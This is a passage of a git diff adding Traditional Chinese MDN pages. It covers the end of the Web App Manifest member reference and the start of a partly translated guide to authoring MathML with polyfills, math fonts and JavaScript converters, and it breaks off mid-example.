+<pre class="brush: json notranslate">"orientation": "portrait-primary"</pre>
+
+<p>其值可以是下列的其中之一：</p>
+
+<ul>
+ <li><code>any</code></li>
+ <li><code>natural</code></li>
+ <li><code>landscape</code></li>
+ <li><code>landscape-primary</code></li>
+ <li><code>landscape-secondary</code></li>
+ <li><code>portrait</code></li>
+ <li><code>portrait-primary</code></li>
+ <li><code>portrait-secondary</code></li>
+</ul>
+
+<h3 id="prefer_related_applications"><code>prefer_related_applications</code></h3>
+
+<p>提供一個布林值告訴使用者代理是否要在 Web 應用程式上去推薦一個相關的應用程式（見下文）給使用者。 這應該只被使用在當原生應用程式提供了 Web 應用程式無法替代其功用的時候。</p>
+
+<pre class="brush: json notranslate">"prefer_related_applications": false</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 當省略其值時，預設為 <code>false。</code></p>
+</div>
+
+<h3 id="related_applications"><code>related_applications</code></h3>
+
+<p>指定一個包含「應用程式物件」的陣列，其物件用以表示一個能被底層平台安裝或訪問的原生應用程式 — 例如能由 Google Play 商店獲取的原生 Android 應用程式。 這是一個可選的替代方案，如同原生應用程式版的 Web 應用程式一般去提供相似或等同的功能。</p>
+
+<pre class="brush: json notranslate">"related_applications": [
+  {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
+    "id": "com.example.app1"
+  }, {
+    "platform": "itunes",
+    "url": "https://itunes.apple.com/app/example-app1/id123456789"
+  }]</pre>
+
+<p>應用程式物件能包含下列的值：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">成員</th>
+   <th scope="col">描述</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>platform</code></td>
+   <td>可以找到該應用程式的平台。</td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>可以找到該應用程式的網址。</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>在特定平台上代表該應用程式的 ID。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scope"><code>scope</code></h3>
+
+<p>Defines the navigation scope of this web application's application context. This basically restricts what web pages can be viewed while the manifest is applied. If the user navigates the application outside the scope, it returns to being a normal web page.</p>
+
+<p>If the scope is a relative URL, the base URL will be the URL of the manifest.</p>
+
+<pre class="brush: json notranslate">"scope": "/myapp/"</pre>
+
+<h3 id="short_name"><code>short_name</code></h3>
+
+<p>提供一個人類可讀且較簡短的應用程式名稱，其值將被使用在較不足以去顯示 Web 應用程式全名的空間。</p>
+
+<pre class="brush: json notranslate">"short_name": "I/O 2017"
+</pre>
+
+<h3 id="start_url"><code>start_url</code></h3>
+
+<p>指定一個當使用者由裝置上啟動應用程式時所開啟的網址。 若使用相對路徑，則網址將以 manifest 的位置為基準。</p>
+
+<pre class="brush: json notranslate">"start_url": "./?utm_source=web_app_manifest"</pre>
+
+<h3 id="theme_color"><code>theme_color</code></h3>
+
+<p>定義一個應用程式預設的主題顏色。 其值會被作業系統在某些時候運用來顯示應用程式（如： Android 的任務切換器 task switcher 就以主題顏色圍繞著應用程式）。  </p>
+
+<pre class="brush: json notranslate">"theme_color": "aliceblue"</pre>
+
+<h2 id="啟動畫面（Splash_screens）">啟動畫面（Splash screens）</h2>
+
+<p>在 Chrome 47 或較新版本，啟動畫面 splash screen 會被使用在當 Web 應用程式由主畫面開啟的時後。 這啟動畫面是依 Web App manifest 的屬性自動產生的，明確來說是由 <code>name</code>、<code>background_color</code> 、 <code>icons </code>陣列中較接近裝置的 128dpi 的圖示。</p>
+
+<h2 id="Mime_類型">Mime 類型</h2>
+
+<p>Manifests 應該被使用 <code>application/manifest+json</code> 的 MIME 類型。不過這是可選的。 </p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Manifest')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("html.manifest")}}</p>
diff --git a/files/zh-tw/web/mathml/authoring/index.html b/files/zh-tw/web/mathml/authoring/index.html
new file mode 100644
index 0000000000..1f999fedc1
--- /dev/null
+++ b/files/zh-tw/web/mathml/authoring/index.html
@@ -0,0 +1,285 @@
+---
+title: Authoring MathML
+slug: Web/MathML/Authoring
+translation_of: Web/MathML/Authoring
+---
+<p>  這裡我們將會介紹該如何利用 MathML 來表達數學語言。如同 HTML， MathML 也是一種  SGML 語言，因此它是以 tag 和 <span style="line-height: 1.5;">attribute 描述的。HTML 在你使用了一些諸如 list 或 table 等結構時將會變得很複雜，索性我們有一些 WYSIWYG 編輯器和其他 Content Management Systems 來協助我們進行開發。</span></p>
+<p>  數學符號擁有許多更複雜的結構，如除號, 平方根以及矩陣等，他們都需要分別代表他們的 tags。因此，一個好的 MathML 編輯工具是非常重要的，而接下來我們將介紹一些工具給你。限於篇幅的關係，我們的介紹可能不是十分詳盡，你可以到 <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a> 查看更進一步的訊息，那裡也介紹了其他的工具。</p>
+<p>Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of Web languages will easily be able to mix these features with MathML. Check out <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents">our demos</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/MathML" title="en/MathML/Element">MathML references</a> for more details.</p>
+<h2 id="Using_MathML">Using MathML</h2>
+<h4 id="Example_in_HTML5_(text/html)" name="Example_in_HTML5_(text/html)">MathML in HTML pages</h4>
+<p>You can use Presentation MathML inside HTML5 documents:</p>
+<pre class="brush: html  language-html"><code class="language-html"><span class="token doctype">&lt;!DOCTYPE html&gt;</span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+ <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>MathML in HTML5<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">&gt;</span></span>MathML in HTML5<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">&gt;</span></span>
+    Square root of two:
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>math</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msqrt</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msqrt</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>math</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span></code></pre>
+<p>Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the <a class="external" href="http://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop">ctop.xsl</a>  stylesheet. Tools mentioned on this page generates Presentation MathML.</p>
+<h4 id="Fallback_for_Browsers_without_MathML_support">Fallback for Browsers without MathML support</h4>
+<p>Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN wiki then a small <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> stylesheet might be enough. To use it, just insert one line in your document header:</p>
+<pre class="brush: html  language-html"><code class="language-html"><span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://fred-wang.github.io/mathml.css/mspace.js<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span></code></pre>
+<p>If you need more complex constructions, you might instead consider using the heavier <a href="http://www.mathjax.org" title="http://www.mathjax.org">MathJax</a> library as a MathML polyfill:</p>
+<pre class="brush: html  language-html"><code class="language-html"><span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://fred-wang.github.io/mathjax.js/mpadded.js<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span></code></pre>
+<p>Note that these two scripts perform feature detection of the <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mspace">mspace</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mpadded">mpadded</a> elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace <code>mspace</code> with <code>mpadded</code>):</p>
+<pre class="brush: js  language-js"><code class="language-js"> <span class="token keyword">function</span> <span class="token function">hasMathMLSupport<span class="token punctuation">(</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
+  <span class="token keyword">var</span> div <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement<span class="token punctuation">(</span></span><span class="token string">"div"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> box<span class="token punctuation">;</span>
+  div<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"&lt;math&gt;&lt;mspace height='23px' width='77px'/&gt;&lt;/math&gt;"</span><span class="token punctuation">;</span>
+  document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">appendChild<span class="token punctuation">(</span></span>div<span class="token punctuation">)</span><span class="token punctuation">;</span>
+  box <span class="token operator">=</span> div<span class="token punctuation">.</span>firstChild<span class="token punctuation">.</span>firstChild<span class="token punctuation">.</span><span class="token function">getBoundingClientRect<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+  document<span class="token punctuation">.</span>body<span class="token punctuation">.</span><span class="token function">removeChild<span class="token punctuation">(</span></span>div<span class="token punctuation">)</span><span class="token punctuation">;</span>
+  <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">abs<span class="token punctuation">(</span></span>box<span class="token punctuation">.</span>height <span class="token operator">-</span> <span class="token number">23</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span><span class="token operator">=</span> <span class="token number">1</span>  <span class="token operator">&amp;&amp;</span> Math<span class="token punctuation">.</span><span class="token function">abs<span class="token punctuation">(</span></span>box<span class="token punctuation">.</span>width <span class="token operator">-</span> <span class="token number">77</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span><span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>
+<span class="token punctuation">}</span></code></pre>
+<p>Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version:</p>
+<pre class="brush: js  language-js"><code class="language-js"><span class="token keyword">var</span> ua <span class="token operator">=</span> navigator<span class="token punctuation">.</span>userAgent<span class="token punctuation">;</span>
+<span class="token keyword">var</span> isGecko <span class="token operator">=</span> ua<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span><span class="token string">"Gecko"</span><span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> ua<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span><span class="token string">"KHTML"</span><span class="token punctuation">)</span> <span class="token operator">==</span><span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> ua<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span><span class="token string">'Trident'</span><span class="token punctuation">)</span> <span class="token operator">==</span><span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>
+<span class="token keyword">var</span> isWebKit <span class="token operator">=</span> ua<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span><span class="token string">'AppleWebKit'</span><span class="token punctuation">)</span> <span class="token operator">&gt;</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> ua<span class="token punctuation">.</span><span class="token function">indexOf<span class="token punctuation">(</span></span><span class="token string">'Chrome'</span><span class="token punctuation">)</span> <span class="token operator">==</span><span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span></code></pre>
+<h4 id="sect1"> </h4>
+<p>Mathematical fonts</p>
+<p><strong>Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko &amp; WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.</strong></p>
+<p>To get a good mathematical rendering in browsers, some <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/Fonts" title="/docs/Mozilla/MathML_Project/Fonts">MathML fonts</a> are required. It's a good idea to provide to your visitors a link to the <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/Fonts" title="/docs/Mozilla/MathML_Project/Fonts">MDN page that explains how to install MathML fonts</a>. Alternatively, you can just make them available as Web fonts. You can get these fonts from the <a href="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/" title="https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/">MathML-fonts add-on</a> ; the xpi is just a zip archive that you can fetch and extract for example with the following command:</p>
+<pre class="brush: bash  language-html"><code class="language-html">wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \
+unzip mathml-fonts.zip -d mathml-fonts</code></pre>
+<p>Then copy the <code>mathml-fonts/resource/</code> directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the <code>mathml-fonts/resource/mathml.css</code> style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site:</p>
+<pre class="brush: css  language-css"><code class="language-css"><span class="token atrule">@import url('/path/to/resource/mathml.css')</span><span class="token punctuation">;</span></code></pre>
+<p><span>You then need to modify the font-family on the &lt;math&gt; elements and</span>, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to use STIX fonts:</p>
+<pre class="language-html"><span class="brush: css"><span class="brush: css">math {
+  font-family: STIXGeneral;
+}
+
+</span>::-moz-math-stretchy {
+  font-family: STIXNonUnicode, STIXSizeOneSym, STIXSize1, STIXGeneral;
+}
+</span></pre>
+<p><span>Try the <a href="https://developer.mozilla.org/docs/Mozilla/MathML_Project/MathML_Torture_Test" title="/docs/Mozilla/MathML_Project/MathML_Torture_Test">MathML torture test</a></span> to compare the rendering of various fonts and the CSS rules to select them.</p>
+<h4 id="MathML_in_XML_documents_(XHTML_EPUB_etc)">MathML in XML documents (XHTML, EPUB, etc)</h4>
+<p>If for some reason you need to use MathML in XML documents, be sure to satisfy the usual requirements: well-formed document, use of correct MIME type, MathML namespace <code>"http://www.w3.org/1998/Math/MathML"</code> on <code>&lt;math&gt;</code> roots. For example, the XHTML version of the previous example looks like this:<br>
+  </p>
+<pre class="brush: xml  language-xml"><code class="language-xml"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/1999/xhtml<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+ <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>XHTML+MathML Example<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">&gt;</span></span>XHTML+MathML Example<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">&gt;</span></span>
+    Square root of two:
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>math</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/1998/Math/MathML<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msqrt</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msqrt</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>math</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span></code></pre>
+<p>Note that if you use MathML as a standalone .mml or .svg documents or inside an EPUB book, it may not always be possible to use MathJax as a polyfill for rendering engines without MathML support. Hence whether MathML can be handled will vary according to the tools used to read these documents.</p>
+<h4 id="MathML_in_email_and_instant_messaging_clients">MathML in email and instant messaging clients</h4>
+<p>Modern mail clients may send and receive emails in the HTML5 format and thus can use MathML expressions. Be sure to have the "send as HTML" and "view as HTML" options enabled. In Thunderbird, you can use the "Insert HTML" command to paste your HTML+MathML code. <a href="http://disruptive-innovations.com/zoo/MathBird/" title="http://disruptive-innovations.com/zoo/MathBird/">MathBird</a> is a convenient add-on for Thunderbird to insert such MathML expressions using the AsciiMath input syntax. Again, the way MathML is handled and the quality of the MathML rendering <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121" title="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121">depend on the mail clients</a>. Even if your browser supports MathML, your Webmail may prevent you to send or receive mails with MathML inside.</p>
+<p>In theory, Gecko-based instant messaging clients could integrate one of the Javascript-based text-to-MathML converters mentioned below and render the MathML expressions. For example there is an <a href="https://addons.instantbird.org/en-US/instantbird/addon/340" title="https://addons.instantbird.org/en-US/instantbird/addon/340">InstantBird add-on</a> to handle LaTeX expressions.</p>
+<h2 id="Conversion_from_a_Simple_Syntax">Conversion from a Simple Syntax</h2>
+<p>There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used in calculators or the more powerful LaTeX language, very popular among the scientific community. In this section, we present some of these tools to convert from a simple syntax to MathML.</p>
+<ul>
+ <li>pros:
+  <ul>
+   <li>Writing mathematical expressions may only require a standard text editor.</li>
+   <li>Many tools are available, some of them are compatible with the classical LaTeX-to-pdf workflow.</li>
+   <li>This gives access to advanced features of LaTeX like macros.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This may be harder to use: people must learn a syntax, typos in the code may easily lead to parsing or rendering errors etc</li>
+   <li>The interface is not user-friendly: only code editor without immediate display of the mathematical expression.</li>
+   <li>None of the syntax has been standardized, making cross-compatibility between converters difficult. Even the popular LaTeX language keeps having new packages added.</li>
+  </ul>
+ </li>
+</ul>
+<h3 id="Client-side_Conversion">Client-side Conversion</h3>
+<p>In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task.</p>
+<ul>
+ <li>pros:
+  <ul>
+   <li>This is very easy setup: only a few Javascript and CSS files to upload and/or a link to add to your document header.</li>
+   <li>This is a pure Web-based solution: everything is done by the browsers and no other programs must be installed or compiled.</li>
+  </ul>
+ </li>
+ <li>cons:
+  <ul>
+   <li>This won't work if the visitor has Javascript disabled.</li>
+   <li>The MathML code is not exposed to Web crawlers (e.g. those of math search engines or feed aggregators). In particular, your content won't show up properly on Planet.</li>
+   <li>The conversion must be done at each page load, may be slow and may conflict with the HTML parsing (e.g. "&lt;" for tags or "$" for money amounts)</li>
+   <li>You may need to synchronize the Javascript converter with other Javascript programs on your page.</li>
+  </ul>
+ </li>
+</ul>
+<p><a href="https://github.com/fred-wang/TeXZilla">TeXZilla</a> has an <a href="https://github.com/fred-wang/x-tex">&lt;x-tex&gt;</a> custom element, that can be used to write things like</p>
+<pre class="language-html"><span class="brush: html">&lt;<span class="start-tag">x-tex</span>&gt;</span><span>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</span><span class="brush: html">&lt;/<span class="end-tag">x-tex</span>&gt;</span></pre>
+<p>and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional <a href="https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page">Javascript parsing of expressions at load time</a> as all the other tools in this section do.</p>
+<p>One simple client-side conversion tools is <a href="http://www1.chapman.edu/%7Ejipsen/mathml/asciimath.html" title="http://www1.chapman.edu/~jipsen/mathml/asciimath.html">ASCIIMathML</a>. Just download the <a href="http://mathcs.chapman.edu/%7Ejipsen/mathml/ASCIIMathML.js" title="http://mathcs.chapman.edu/~jipsen/mathml/ASCIIMathML.js">ASCIIMathML.js</a> script and copy it to your Web site. Then on your Web pages, add a <code>&lt;script&gt;</code> tag to load ASCIIMathML and the mathematical expressions delimited by <code>`</code> (grave accent) will be automatically parsed and converted to MathML:</p>
+<pre class="brush: html  language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+...
+<span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>ASCIIMathML.js<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span>
+...
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+...
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">&gt;</span></span>blah blah `x^2 + y^2 = r^2` blah ...
+...</code></pre>
+<p><a href="http://math.etsu.edu/LaTeXMathML/" title="http://math.etsu.edu/LaTeXMathML/">LaTeXMathML</a> is a similar script that allows to parse more LaTeX commands. The installation is similar: copy <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.js">LaTeXMathML.js</a> and <a href="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css" title="http://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css">LaTeXMathML.standardarticle.css</a>, add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML:</p>
+<pre class="brush: html  language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+...
+<span class="token script"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>LaTeXMathML.js<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/css<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>LaTeXMathML.standardarticle.css<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span>
+...
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+...
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>LaTeX<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+\documentclass[12pt]{article}
+
+\begin{document}
+
+\title{LaTeXML Example}
+\maketitle
+
+\begin{abstract}
+This is a sample LaTeXML document.
+\end{abstract}
+
+\section{First Section}
+
+  $$ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $$
+
+\end{document}
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>
+...</code></pre>
+<p><a href="http://mathscribe.com/author/jqmath.html" title="http://mathscribe.com/author/jqmath.html">jqMath</a> is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like  <code>√{∑↙{n=1}↖{+∞} 6/n^2} = π</code>  to write <math> <mrow> <msqrt> <mrow> <munderover> <mo>∑</mo> <mrow> <mi>n</mi> <mo>=</mo> <mn>1</mn> </mrow> <mrow> <mo>+</mo> <mi>∞</mi> </mrow> </munderover> <mfrac> <mn>6</mn> <msup> <mi>n</mi> <mn>2</mn> </msup> </mfrac> </mrow> </msqrt> <mo>=</mo> <mi>π</mi> </mrow> </math>. The installation is similar: download and copy the relevant <a href="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip" title="http://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip">Javascript and CSS files</a> on your Web site and reference them in your page header (see the <code>COPY-ME.html</code> file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support.</p>
+<p><a name="mathjax"></a>Another way to work around the lack of MathML support in some browsers is to use <a href="http://www.mathjax.org/" title="http://www.mathjax.org/">MathJax</a>. However, note that you may find conflicts and synchronization issues between MathJax and the Javascript libraries previously mentioned. So if you really want to use MathJax as a MathML polyfill, you'd better use its own LaTeX/ASCIIMath parsers too. Note that on the one hand MathJax has better parsing and rendering support but on the other hand it is much bigger, more complex and slower than the previous Javascript libraries. Fortunately, you can use MathJax's CDN so that you don't need to install it on your Web server. Also, the slowest part of MathJax is currently its HTML-CSS / SVG output modes so we recommend to use the Native MathML output for Gecko-based browsers. Hence a typical configuration to use the AMS-LaTeX input is:</p>
+<pre class="brush: html  language-html"><code class="language-html">...
